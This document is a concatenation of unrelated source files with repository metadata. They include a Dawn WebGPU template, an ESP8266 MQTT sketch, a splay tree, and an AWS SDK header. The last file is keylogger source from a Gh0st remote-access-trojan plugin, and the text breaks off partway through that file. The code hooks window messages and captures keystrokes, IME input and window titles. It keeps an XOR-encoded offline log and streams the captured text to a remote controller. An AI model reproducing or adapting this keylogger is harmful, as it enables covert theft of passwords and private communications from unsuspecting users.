| 2019-11-06T14:32:31
| null |
UTF-8
|
C++
| false
| false
| 3,131
|
cpp
|
ChainUtils.cpp
|
// Copyright 2021 The Dawn Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
{% set impl_dir = metadata.impl_dir + "/" if metadata.impl_dir else "" %}
{% set namespace_name = Name(metadata.native_namespace) %}
{% set native_namespace = namespace_name.namespace_case() %}
{% set native_dir = impl_dir + namespace_name.Dirs() %}
#include "{{native_dir}}/ChainUtils_autogen.h"
#include <unordered_set>
namespace {{native_namespace}} {
{% set namespace = metadata.namespace %}
MaybeError ValidateSTypes(const ChainedStruct* chain,
std::vector<std::vector<{{namespace}}::SType>> oneOfConstraints) {
std::unordered_set<{{namespace}}::SType> allSTypes;
for (; chain; chain = chain->nextInChain) {
DAWN_INVALID_IF(allSTypes.find(chain->sType) != allSTypes.end(),
"Extension chain has duplicate sType %s.", chain->sType);
allSTypes.insert(chain->sType);
}
for (const auto& oneOfConstraint : oneOfConstraints) {
bool satisfied = false;
for ({{namespace}}::SType oneOfSType : oneOfConstraint) {
if (allSTypes.find(oneOfSType) != allSTypes.end()) {
DAWN_INVALID_IF(satisfied,
"sType %s is part of a group of exclusive sTypes that is already present.",
oneOfSType);
satisfied = true;
allSTypes.erase(oneOfSType);
}
}
}
DAWN_INVALID_IF(!allSTypes.empty(), "Unsupported sType %s.", *allSTypes.begin());
return {};
}
MaybeError ValidateSTypes(const ChainedStructOut* chain,
std::vector<std::vector<{{namespace}}::SType>> oneOfConstraints) {
std::unordered_set<{{namespace}}::SType> allSTypes;
for (; chain; chain = chain->nextInChain) {
DAWN_INVALID_IF(allSTypes.find(chain->sType) != allSTypes.end(),
"Extension chain has duplicate sType %s.", chain->sType);
allSTypes.insert(chain->sType);
}
for (const auto& oneOfConstraint : oneOfConstraints) {
bool satisfied = false;
for ({{namespace}}::SType oneOfSType : oneOfConstraint) {
if (allSTypes.find(oneOfSType) != allSTypes.end()) {
DAWN_INVALID_IF(satisfied,
"sType %s is part of a group of exclusive sTypes that is already present.",
oneOfSType);
satisfied = true;
allSTypes.erase(oneOfSType);
}
}
}
DAWN_INVALID_IF(!allSTypes.empty(), "Unsupported sType %s.", *allSTypes.begin());
return {};
}
} // namespace {{native_namespace}}
|
ebdb415d865b466e20280047d505b3cb421a2aad
|
a9e98f7b3a11c659b2332b2cd80623d68c4ef46b
|
/complete_scripts/esp32_script/main.ino
|
cc5c01b519e09f4f4077797f1c258e53a35afff5
|
[
"MIT"
] |
permissive
|
AY02/Nao-Challenge-2021
|
88bd03073d5735cea5b022565913ffa825c39423
|
5ac0cdab70c15dadd7d6c8d0e383039a80aa7f5e
|
refs/heads/main
| 2023-02-18T12:40:18.641327
| 2021-01-20T06:30:15
| 2021-01-20T06:30:15
| 325,842,829
| 1
| 0
| null | 2021-01-15T08:52:59
| 2020-12-31T17:10:15
|
Dart
|
UTF-8
|
C++
| false
| false
| 4,634
|
ino
|
main.ino
|
#include <ESP8266WiFi.h>
#include <MQTT.h>
#include <Servo.h>
//WIFI CONFIGURATION******************************************************************************************
WiFiClient wifi_client;
const String SSID_WIFI = "";
const String PASSWORD_WIFI = "";
void connect_to_wifi() {
Serial.print("\n\nConnessione al Wi-Fi "); Serial.print(SSID_WIFI); Serial.println(" in corso");
WiFi.mode(WIFI_STA);
WiFi.begin(SSID_WIFI, PASSWORD_WIFI);
while(WiFi.status() != WL_CONNECTED) {
delay(500);
Serial.print(".");
}
Serial.println("\nConnessione effettuata");
Serial.print("Indirizzo IP: "); Serial.println(WiFi.localIP());
}
//BUZZER CONFIGURATION****************************************************************************************
const int BUZZER_PIN = 14; //D5
void doSound() {
tone(BUZZER_PIN, 1000); //Invia 1KHz segnale di suono...
delay(1000); //...per 1 secondo
noTone(BUZZER_PIN); //Fermo il suono...
}
//SERVOMOTOR CONFIGURATION************************************************************************************
Servo myServo;
const int START_VALUE = 0; //0 significa "full-speed in one direction"
const int STOP_VALUE = 90; //90 significa "no movement"
//Definizione dei pin digitali dell'esp al servo motore
const int SERVO_PIN = 0; //D3
//Funzioni di movimento, intuitive dal nome della funzione
void startRotation() {
myServo.write(START_VALUE);
}
void stopRotation() {
myServo.write(STOP_VALUE);
}
//MQTT CONFIGURATION******************************************************************************************
MQTTClient mqtt_client;
const char BROKER[] = "test.mosquitto.org";
const int PORT = 1883;
const String CLIENT_ID = "Lolin NodeMCU v3";
const String ROOT = "";
const String TOPICS[] = {
ROOT+"/czn15e/Sensor1",
ROOT+"/czn15e/Sensor2",
ROOT+"/czn15e/Sensor3",
ROOT+"/ServoMotor",
};
const int N_TOPICS = sizeof(TOPICS)/sizeof(TOPICS[0]);
void mqtt_setup() {
mqtt_client.begin(BROKER, PORT, wifi_client);
mqtt_client.onMessage(messageReceived);
}
void connect_to_broker() {
Serial.print("Connessione al broker "); Serial.print(BROKER); Serial.print(" con ID client: "); Serial.println(CLIENT_ID);
while(!mqtt_client.connect(CLIENT_ID.c_str())) {
delay(500);
Serial.print(".");
}
Serial.println("\nConnessione effettuata");
doSound();
}
void connect_to_topics() {
for(int i=0; i<N_TOPICS; i++) {
Serial.print("Iscrizione al topic "); Serial.print(TOPICS[i]); Serial.print("...");
mqtt_client.subscribe(TOPICS[i]);
Serial.println("Fatto!");
mqtt_client.publish(TOPICS[i], CLIENT_ID + ": e' entrato nel topic");
}
}
void messageReceived(String &topicChoised, String &payload) {
if(topicChoised == ROOT+"/ServoMotor") {
if(payload == "!start") {
Serial.println("Rotazione in corso...");
startRotation();
doSound();
}
if(payload == "!stop") {
Serial.println("Fermo movimento...");
stopRotation();
doSound();
}
}
}
//CZN15E CONFIGURATION****************************************************************************************
const int INPUT_PIN[] = {16, 5, 4}; //D0 D1 D2
const int N_CZN15E = sizeof(INPUT_PIN)/sizeof(INPUT_PIN[0]);
const int SAMPLE_TIME = 20; //Ogni 20 millisecondi effettua la misurazione
unsigned long msCurrent[3]; //Tempo corrente in millisecondi
unsigned long msLast[] = {0, 0, 0}; //Tempo dell'ultima misurazione effettuata in millisecondi
unsigned long msElapsed[3]; //Differenza tra il tempo corrente e il tempo dell'ultima misurazione effettuata
int bufferValue[] = {0, 0, 0};
boolean valueInput[3];
//************************************************************************************************************
void setup() {
for(int i=0;i<N_CZN15E; i++)
pinMode(INPUT_PIN[i], INPUT);
myServo.attach(SERVO_PIN);
pinMode(BUZZER_PIN, OUTPUT);
Serial.begin(9600);
delay(1000);
connect_to_wifi();
mqtt_setup();
connect_to_broker();
connect_to_topics();
}
void loop() {
mqtt_client.loop();
if(!mqtt_client.connected()) {
connect_to_broker();
connect_to_topics();
}
for(int i=0; i<N_CZN15E; i++) {
msCurrent[i] = millis();
msElapsed[i] = msCurrent[i] - msLast[i];
valueInput[i] = digitalRead(INPUT_PIN[i]);
bufferValue[i] = (valueInput[i] == LOW) ? bufferValue[i] + 1 : bufferValue[i];
if(msElapsed[i] > SAMPLE_TIME) {
if(bufferValue[i] > 0)
mqtt_client.publish(TOPICS[i], "Sound Value: " + String(bufferValue[i]));
bufferValue[i] = 0;
msLast[i] = msCurrent[i];
}
}
}
|
314a8c8271a3df6c08cd87b4ed47d915fede858d
|
b82c97174689a86bc49bb2893f6ef2f15964214c
|
/src/splay.cpp
|
c1b1b2a5186514c505fa10684cbba1d73be2f216
|
[] |
no_license
|
ariofrio/cs130a-fall12-pa2
|
fb17a4a645e067519b85a162504afd38e7013ef4
|
f53577f9689534c2fcaa2017577937ec577b24ba
|
refs/heads/master
| 2021-01-10T18:31:16.285385
| 2012-12-03T07:05:53
| 2012-12-03T07:05:53
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,984
|
cpp
|
splay.cpp
|
#include "splay.h"
#include <iostream>
bool splay::insert(int x) {
return insert(x, root);
}
bool splay::insert(int x, node* &p) {
if(p == NULL) {
p = new struct node(x, 0);
return true;
} else if(p->value == x) {
return false;
} else {
bool ret;
if(x < p->value) ret = insert(x, p->left);
else ret = insert(x, p->right);
return ret;
}
}
bool splay::contains(int x) {
return contains(x, root, NULL, NULL);
}
bool splay::contains(int x, node* &n, node** p, node** g) {
static bool splay;
if(n == NULL) {
return false;
} else {
bool ret;
if(n->value == x) {
ret = true;
splay = true;
} else {
if(x < n->value)
ret = contains(x, n->left, &n, p);
else
ret = contains(x, n->right, &n, p);
splay = !splay;
}
if(splay || (splay && g == NULL && p != NULL)) {
// print();
do_splay(n, p, g);
}
return ret;
}
}
bool splay::erase(int x) {
contains(x); // splay the node to be deleted by accessing it
return erase(x, root);
}
bool splay::erase(int x, node* &p) {
if(p == NULL) {
return false;
} else if(p->value == x) {
erase_node(p);
return true;
} else {
bool ret;
if(x < p->value) ret = erase(x, p->left);
else ret = erase(x, p->right);
return ret;
}
}
// p must not be NULL
void splay::erase_node(node* &p) {
if(p->left == NULL && p->right == NULL) {
delete p;
p = NULL;
} else if(p->left != NULL && p->right != NULL) {
replace_with_predecessor(p);
} else {
node* child;
if(p->left != NULL) child = p->left;
else child = p->right;
delete p;
p = child;
}
}
void splay::replace_with_predecessor(node* &p) {
replace_with_predecessor(p, p->left);
}
void splay::replace_with_predecessor(node* &p, node* &s) {
if(s->right == NULL) {
p->value = s->value;
erase_node(s); // never has right child
} else {
replace_with_predecessor(p, s->right);
}
}
void splay::do_splay(node* x, node** p, node** g) {
if(p == NULL) {
return;
} else if(g == NULL) {
do_splay(x, *p);
} else {
do_splay(x, *p, *g);
}
}
void splay::do_splay(node* x, node* &p) { // zig ztep
if(x == p->left) {
right_rotation(p);
} else {
left_rotation(p);
}
}
void splay::do_splay(node* x, node* &p, node* &g) {
if(x == p->left && p == g->left) { // zig-zig step
right_rotation(g);
right_rotation(g);
} else if(x == p->right && p == g->right) { // zig-zig step
left_rotation(g);
left_rotation(g);
} else if(x == p->right && p == g->left) { // zig-zag step
left_rotation(p);
right_rotation(g);
} else if(x == p->left && p == g->right) { // zig-zag step
right_rotation(p);
left_rotation(g);
}
}
void splay::right_rotation(node* &p) {
node* x = p->left;
p->left = x->right;
x->right = p;
p = x;
}
void splay::left_rotation(node* &p) {
node* x = p->right;
p->right = x->left;
x->left = p;
p = x;
}
|
bcb4b9bd2fcba4b6067370277afb7153e5cbd043
|
e4f347154205d12124a07f660f5965cc6abc1fc3
|
/src/Calque/ListLayers.hpp
|
70e1fc6f9ab00e3ef65b5c7728aedf60d3b3145e
|
[] |
no_license
|
jonike/FriendPaint
|
45fb89103b95520e808bc2bf146a52b1338dfbb2
|
2adb49452c2a6734714cd607ab7161fb521c7b37
|
refs/heads/master
| 2021-06-14T18:20:38.346275
| 2017-01-22T22:01:13
| 2017-01-22T22:01:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 626
|
hpp
|
ListLayers.hpp
|
#ifndef DEF_LISTLAYERS
#define DEF_LISTLAYERS
#include <iostream>
#include <string>
#include <vector>
#include "Layer.hpp"
class ListLayers {
public:
ListLayers();
void setLockCreate();
bool getLockCreate();
void afficherLesCalques(); // juste pour les tests
void focusByPosition(int pos); // juste pour les tests
void createLayer(std::string name);
void deleteLayer();
void upLayer();
void downLayer();
//void mergeDown();
void rename(std::string new_name);
private:
std::vector<Layer*> list;
bool lock_create;
};
#endif
|
8132773ec5ff5fa87eabe761a19425aa80d30308
|
f17ace67417acc6c3cf35aa0ed7600e96593f701
|
/Source/GASGame/Player/GGPlayerState.h
|
40791360d2b711ecade2635d3c11e1a639ded00b
|
[] |
no_license
|
Kavekanem/GASGameProject
|
231c8722565ac76efd29d923077dc928c4b7b315
|
3bc4081e9ae5fe07d3ec8779b4ba73d54f2aa065
|
refs/heads/master
| 2022-12-22T22:32:03.223543
| 2020-10-04T10:59:02
| 2020-10-04T10:59:02
| 298,634,041
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 593
|
h
|
GGPlayerState.h
|
// Fill out your copyright notice in the Description page of Project Settings.
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/PlayerState.h"
#include "AbilitySystemInterface.h"
#include "GGPlayerState.generated.h"
/**
*
*/
UCLASS()
class GASGAME_API AGGPlayerState : public APlayerState, public IAbilitySystemInterface
{
GENERATED_BODY()
public:
AGGPlayerState();
// Implement IAbilitySystemInterface
class UAbilitySystemComponent * GetAbilitySystemComponent() const override;
protected:
UPROPERTY()
class UGGAbilitySystemComponent * AbilitySystemComponent;
};
|
472d46bb7f546e6a22165fedc69f0fa05e669328
|
cfeac52f970e8901871bd02d9acb7de66b9fb6b4
|
/generated/src/aws-cpp-sdk-compute-optimizer/include/aws/compute-optimizer/model/RecommendationExportJob.h
|
22ca2911a0915d94e7d3c9efed88ebcfcdbb762e
|
[
"Apache-2.0",
"MIT",
"JSON"
] |
permissive
|
aws/aws-sdk-cpp
|
aff116ddf9ca2b41e45c47dba1c2b7754935c585
|
9a7606a6c98e13c759032c2e920c7c64a6a35264
|
refs/heads/main
| 2023-08-25T11:16:55.982089
| 2023-08-24T18:14:53
| 2023-08-24T18:14:53
| 35,440,404
| 1,681
| 1,133
|
Apache-2.0
| 2023-09-12T15:59:33
| 2015-05-11T17:57:32
| null |
UTF-8
|
C++
| false
| false
| 10,866
|
h
|
RecommendationExportJob.h
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#pragma once
#include <aws/compute-optimizer/ComputeOptimizer_EXPORTS.h>
#include <aws/core/utils/memory/stl/AWSString.h>
#include <aws/compute-optimizer/model/ExportDestination.h>
#include <aws/compute-optimizer/model/ResourceType.h>
#include <aws/compute-optimizer/model/JobStatus.h>
#include <aws/core/utils/DateTime.h>
#include <utility>
namespace Aws
{
namespace Utils
{
namespace Json
{
class JsonValue;
class JsonView;
} // namespace Json
} // namespace Utils
namespace ComputeOptimizer
{
namespace Model
{
/**
* <p>Describes a recommendation export job.</p> <p>Use the
* <a>DescribeRecommendationExportJobs</a> action to view your recommendation
* export jobs.</p> <p>Use the <a>ExportAutoScalingGroupRecommendations</a> or
* <a>ExportEC2InstanceRecommendations</a> actions to request an export of your
* recommendations.</p><p><h3>See Also:</h3> <a
* href="http://docs.aws.amazon.com/goto/WebAPI/compute-optimizer-2019-11-01/RecommendationExportJob">AWS
* API Reference</a></p>
*/
class RecommendationExportJob
{
public:
AWS_COMPUTEOPTIMIZER_API RecommendationExportJob();
AWS_COMPUTEOPTIMIZER_API RecommendationExportJob(Aws::Utils::Json::JsonView jsonValue);
AWS_COMPUTEOPTIMIZER_API RecommendationExportJob& operator=(Aws::Utils::Json::JsonView jsonValue);
AWS_COMPUTEOPTIMIZER_API Aws::Utils::Json::JsonValue Jsonize() const;
/**
* <p>The identification number of the export job.</p>
*/
inline const Aws::String& GetJobId() const{ return m_jobId; }
/**
* <p>The identification number of the export job.</p>
*/
inline bool JobIdHasBeenSet() const { return m_jobIdHasBeenSet; }
/**
* <p>The identification number of the export job.</p>
*/
inline void SetJobId(const Aws::String& value) { m_jobIdHasBeenSet = true; m_jobId = value; }
/**
* <p>The identification number of the export job.</p>
*/
inline void SetJobId(Aws::String&& value) { m_jobIdHasBeenSet = true; m_jobId = std::move(value); }
/**
* <p>The identification number of the export job.</p>
*/
inline void SetJobId(const char* value) { m_jobIdHasBeenSet = true; m_jobId.assign(value); }
/**
* <p>The identification number of the export job.</p>
*/
inline RecommendationExportJob& WithJobId(const Aws::String& value) { SetJobId(value); return *this;}
/**
* <p>The identification number of the export job.</p>
*/
inline RecommendationExportJob& WithJobId(Aws::String&& value) { SetJobId(std::move(value)); return *this;}
/**
* <p>The identification number of the export job.</p>
*/
inline RecommendationExportJob& WithJobId(const char* value) { SetJobId(value); return *this;}
/**
* <p>An object that describes the destination of the export file.</p>
*/
inline const ExportDestination& GetDestination() const{ return m_destination; }
/**
* <p>An object that describes the destination of the export file.</p>
*/
inline bool DestinationHasBeenSet() const { return m_destinationHasBeenSet; }
/**
* <p>An object that describes the destination of the export file.</p>
*/
inline void SetDestination(const ExportDestination& value) { m_destinationHasBeenSet = true; m_destination = value; }
/**
* <p>An object that describes the destination of the export file.</p>
*/
inline void SetDestination(ExportDestination&& value) { m_destinationHasBeenSet = true; m_destination = std::move(value); }
/**
* <p>An object that describes the destination of the export file.</p>
*/
inline RecommendationExportJob& WithDestination(const ExportDestination& value) { SetDestination(value); return *this;}
/**
* <p>An object that describes the destination of the export file.</p>
*/
inline RecommendationExportJob& WithDestination(ExportDestination&& value) { SetDestination(std::move(value)); return *this;}
/**
* <p>The resource type of the exported recommendations.</p>
*/
inline const ResourceType& GetResourceType() const{ return m_resourceType; }
/**
* <p>The resource type of the exported recommendations.</p>
*/
inline bool ResourceTypeHasBeenSet() const { return m_resourceTypeHasBeenSet; }
/**
* <p>The resource type of the exported recommendations.</p>
*/
inline void SetResourceType(const ResourceType& value) { m_resourceTypeHasBeenSet = true; m_resourceType = value; }
/**
* <p>The resource type of the exported recommendations.</p>
*/
inline void SetResourceType(ResourceType&& value) { m_resourceTypeHasBeenSet = true; m_resourceType = std::move(value); }
/**
* <p>The resource type of the exported recommendations.</p>
*/
inline RecommendationExportJob& WithResourceType(const ResourceType& value) { SetResourceType(value); return *this;}
/**
* <p>The resource type of the exported recommendations.</p>
*/
inline RecommendationExportJob& WithResourceType(ResourceType&& value) { SetResourceType(std::move(value)); return *this;}
/**
* <p>The status of the export job.</p>
*/
inline const JobStatus& GetStatus() const{ return m_status; }
/**
* <p>The status of the export job.</p>
*/
inline bool StatusHasBeenSet() const { return m_statusHasBeenSet; }
/**
* <p>The status of the export job.</p>
*/
inline void SetStatus(const JobStatus& value) { m_statusHasBeenSet = true; m_status = value; }
/**
* <p>The status of the export job.</p>
*/
inline void SetStatus(JobStatus&& value) { m_statusHasBeenSet = true; m_status = std::move(value); }
/**
* <p>The status of the export job.</p>
*/
inline RecommendationExportJob& WithStatus(const JobStatus& value) { SetStatus(value); return *this;}
/**
* <p>The status of the export job.</p>
*/
inline RecommendationExportJob& WithStatus(JobStatus&& value) { SetStatus(std::move(value)); return *this;}
/**
* <p>The timestamp of when the export job was created.</p>
*/
inline const Aws::Utils::DateTime& GetCreationTimestamp() const{ return m_creationTimestamp; }
/**
* <p>The timestamp of when the export job was created.</p>
*/
inline bool CreationTimestampHasBeenSet() const { return m_creationTimestampHasBeenSet; }
/**
* <p>The timestamp of when the export job was created.</p>
*/
inline void SetCreationTimestamp(const Aws::Utils::DateTime& value) { m_creationTimestampHasBeenSet = true; m_creationTimestamp = value; }
/**
* <p>The timestamp of when the export job was created.</p>
*/
inline void SetCreationTimestamp(Aws::Utils::DateTime&& value) { m_creationTimestampHasBeenSet = true; m_creationTimestamp = std::move(value); }
/**
* <p>The timestamp of when the export job was created.</p>
*/
inline RecommendationExportJob& WithCreationTimestamp(const Aws::Utils::DateTime& value) { SetCreationTimestamp(value); return *this;}
/**
* <p>The timestamp of when the export job was created.</p>
*/
inline RecommendationExportJob& WithCreationTimestamp(Aws::Utils::DateTime&& value) { SetCreationTimestamp(std::move(value)); return *this;}
/**
* <p>The timestamp of when the export job was last updated.</p>
*/
inline const Aws::Utils::DateTime& GetLastUpdatedTimestamp() const{ return m_lastUpdatedTimestamp; }
/**
* <p>The timestamp of when the export job was last updated.</p>
*/
inline bool LastUpdatedTimestampHasBeenSet() const { return m_lastUpdatedTimestampHasBeenSet; }
/**
* <p>The timestamp of when the export job was last updated.</p>
*/
inline void SetLastUpdatedTimestamp(const Aws::Utils::DateTime& value) { m_lastUpdatedTimestampHasBeenSet = true; m_lastUpdatedTimestamp = value; }
/**
* <p>The timestamp of when the export job was last updated.</p>
*/
inline void SetLastUpdatedTimestamp(Aws::Utils::DateTime&& value) { m_lastUpdatedTimestampHasBeenSet = true; m_lastUpdatedTimestamp = std::move(value); }
/**
* <p>The timestamp of when the export job was last updated.</p>
*/
inline RecommendationExportJob& WithLastUpdatedTimestamp(const Aws::Utils::DateTime& value) { SetLastUpdatedTimestamp(value); return *this;}
/**
* <p>The timestamp of when the export job was last updated.</p>
*/
inline RecommendationExportJob& WithLastUpdatedTimestamp(Aws::Utils::DateTime&& value) { SetLastUpdatedTimestamp(std::move(value)); return *this;}
/**
* <p>The reason for an export job failure.</p>
*/
inline const Aws::String& GetFailureReason() const{ return m_failureReason; }
/**
* <p>The reason for an export job failure.</p>
*/
inline bool FailureReasonHasBeenSet() const { return m_failureReasonHasBeenSet; }
/**
* <p>The reason for an export job failure.</p>
*/
inline void SetFailureReason(const Aws::String& value) { m_failureReasonHasBeenSet = true; m_failureReason = value; }
/**
* <p>The reason for an export job failure.</p>
*/
inline void SetFailureReason(Aws::String&& value) { m_failureReasonHasBeenSet = true; m_failureReason = std::move(value); }
/**
* <p>The reason for an export job failure.</p>
*/
inline void SetFailureReason(const char* value) { m_failureReasonHasBeenSet = true; m_failureReason.assign(value); }
/**
* <p>The reason for an export job failure.</p>
*/
inline RecommendationExportJob& WithFailureReason(const Aws::String& value) { SetFailureReason(value); return *this;}
/**
* <p>The reason for an export job failure.</p>
*/
inline RecommendationExportJob& WithFailureReason(Aws::String&& value) { SetFailureReason(std::move(value)); return *this;}
/**
* <p>The reason for an export job failure.</p>
*/
inline RecommendationExportJob& WithFailureReason(const char* value) { SetFailureReason(value); return *this;}
private:
Aws::String m_jobId;
bool m_jobIdHasBeenSet = false;
ExportDestination m_destination;
bool m_destinationHasBeenSet = false;
ResourceType m_resourceType;
bool m_resourceTypeHasBeenSet = false;
JobStatus m_status;
bool m_statusHasBeenSet = false;
Aws::Utils::DateTime m_creationTimestamp;
bool m_creationTimestampHasBeenSet = false;
Aws::Utils::DateTime m_lastUpdatedTimestamp;
bool m_lastUpdatedTimestampHasBeenSet = false;
Aws::String m_failureReason;
bool m_failureReasonHasBeenSet = false;
};
} // namespace Model
} // namespace ComputeOptimizer
} // namespace Aws
|
2213f16b4450603ff5b2912e663a85f3a821e8dc
|
21bf327d8abd4f3d9fd8cf886861ec3ae90d5299
|
/plugins/Keylog/MyKeyboardManager.cpp
|
07795e2bcac0730dd38bdbf37feb71f85f908434
|
[] |
no_license
|
gmhzxy/Gh0st2.0
|
1c3045cd4f02dd589579d2ff863bf9a4bde7ddf6
|
c305f0f9c265005e61285013a598b9754026f0b9
|
refs/heads/master
| 2018-09-02T04:19:35.441242
| 2017-05-05T16:31:33
| 2017-05-05T16:31:33
| null | 0
| 0
| null | null | null | null |
GB18030
|
C++
| false
| false
| 9,026
|
cpp
|
MyKeyboardManager.cpp
|
// MyKeyboardManager.cpp: implementation of the CMyKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "MyKeyboardManager.h"
#pragma comment(lib, "Imm32.lib")
bool g_bSignalHook = true;
HANDLE CMyKeyboardManager::m_hMapping_File = NULL;
HINSTANCE CMyKeyboardManager::g_hInstance = NULL;
DWORD CMyKeyboardManager::m_dwLastMsgTime = GetTickCount();
TShared* CMyKeyboardManager::m_pTShared = NULL;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CMyKeyboardManager::CMyKeyboardManager(CClientSocket *pClient) : CManager(pClient)
{
g_bSignalHook = true;
sendStartKeyBoard();
WaitForDialogOpen();
sendOfflineRecord();
unsigned long dwOffset = m_pTShared->dwOffset;
while (m_pClient->IsRunning())
{
if (m_pTShared->dwOffset != (unsigned long)dwOffset)
{
UINT nSize;
if (m_pTShared->dwOffset < dwOffset)
nSize = m_pTShared->dwOffset;
else
nSize = m_pTShared->dwOffset - dwOffset;
sendKeyBoardData((unsigned char *)&(m_pTShared->chKeyBoard[dwOffset]), nSize);
dwOffset = m_pTShared->dwOffset;
}
Sleep(300);
}
if (!m_pTShared->bIsOffline)
g_bSignalHook = false;
}
void CMyKeyboardManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == COMMAND_NEXT)
NotifyDialogIsOpen();
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE)
{
m_pTShared->bIsOffline = !m_pTShared->bIsOffline;
if (!m_pTShared->bIsOffline)
DeleteFile(m_pTShared->strRecordFile);
else if (GetFileAttributes(m_pTShared->strRecordFile) == -1)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
}
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR && m_pTShared->bIsOffline)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
}
CMyKeyboardManager::~CMyKeyboardManager()
{
}
void CMyKeyboardManager::SaveToFile(char *lpBuffer)
{
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwBytesWrite = 0;
DWORD dwSize = GetFileSize(hFile, NULL);
// 离线记录,小于50M
if (dwSize < 1024 * 1024 * 50)
SetFilePointer(hFile, 0, 0, FILE_END);
// 加密
int nLength = strlen(lpBuffer);
LPBYTE lpEncodeBuffer = new BYTE[nLength];
for (int i = 0; i < nLength; i++)
lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
CloseHandle(hFile);
delete lpEncodeBuffer;
}
void CMyKeyboardManager::SaveInfo(char *lpBuffer)
{
HINSTANCE user32 = GetModuleHandleW(L"user32.dll");
typedef BOOL(WINAPI *GWTW)(HWND, LPSTR, int);
GWTW myGetWindowText = (GWTW)GetProcAddress(user32, "GetWindowTextA");
if (lpBuffer == NULL)
return;
DWORD dwBytes = strlen(lpBuffer);
if ((dwBytes < 1) || (dwBytes > SIZE_IMM_BUFFER)) return;
HWND hWnd = GetActiveWindow();
if (hWnd != m_pTShared->hActWnd)
{
m_pTShared->hActWnd = hWnd;
char strCapText[256];
myGetWindowText(m_pTShared->hActWnd, strCapText, sizeof(strCapText));
char strSaveString[1024 * 2];
SYSTEMTIME SysTime;
GetLocalTime(&SysTime);
memset(strSaveString, 0, sizeof(strSaveString));
wsprintfA(strSaveString,
"\r\n[%02d/%02d/%d %02d:%02d:%02d] (%s)\r\n",
SysTime.wMonth, SysTime.wDay, SysTime.wYear,
SysTime.wHour, SysTime.wMinute, SysTime.wSecond,
strCapText
);
OutputDebugStringA(strSaveString);
// 让函认为是应该保存的
SaveInfo(strSaveString);
}
if (m_pTShared->bIsOffline)
{
SaveToFile(lpBuffer);
}
// reset
if ((m_pTShared->dwOffset + dwBytes) > sizeof(m_pTShared->chKeyBoard))
{
memset(m_pTShared->chKeyBoard, 0, sizeof(m_pTShared->chKeyBoard));
m_pTShared->dwOffset = 0;
}
strcat(m_pTShared->chKeyBoard, lpBuffer);
m_pTShared->dwOffset += dwBytes;
}
LRESULT CALLBACK CMyKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char strChar[2];
char KeyName[20];
HINSTANCE imm32 = GetModuleHandleW(L"imm32.dll");
typedef HIMC(WINAPI *IGC)(HWND hWnd);
IGC myImmGetContext = (IGC)GetProcAddress(imm32, "ImmGetContext");
typedef LONG(WINAPI *IGCSA)(HIMC hIMC, DWORD dwIndex, LPVOID lpBuf, DWORD dwBufLen);
IGCSA myImmGetCompositionString = (IGCSA)GetProcAddress(imm32, "ImmGetCompositionStringA");
typedef BOOL(WINAPI *IRC)(HWND hWnd, HIMC hIMC);
IRC myImmReleaseContext = (IRC)GetProcAddress(imm32, "ImmReleaseContext");
LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
MSG* pMsg = (MSG*)(lParam);
// 防止消息重复产生记录重复,以pMsg->time判断
if (
(nCode != HC_ACTION) ||
((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
(m_dwLastMsgTime == pMsg->time)
)
{
return result;
}
m_dwLastMsgTime = pMsg->time;
if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
{
HWND hWnd = pMsg->hwnd;
HIMC hImc = myImmGetContext(hWnd);
LONG strLen = myImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
// 考虑到UNICODE
strLen += sizeof(WCHAR);
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
myImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
// strLen =myNetReads(hImc, GCS_RESULTSTR, NULL, 0);
// myNetRead1(hWnd, hImc);
myImmReleaseContext(hWnd, hImc);
SaveInfo(m_pTShared->str);
}
if (pMsg->message == WM_CHAR)
{
if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
{
strChar[0] = pMsg->wParam;
strChar[1] = '\0';
SaveInfo(strChar);
}
else if (pMsg->wParam == VK_RETURN)
{
SaveInfo("\r\n");
}
// 控制字符
else
{
memset(KeyName, 0, sizeof(KeyName));
if (GetKeyNameTextA(pMsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
{
KeyName[0] = '[';
strcat(KeyName, "]");
SaveInfo(KeyName);
}
}
}
return result;
}
bool CMyKeyboardManager::Initialization()
{
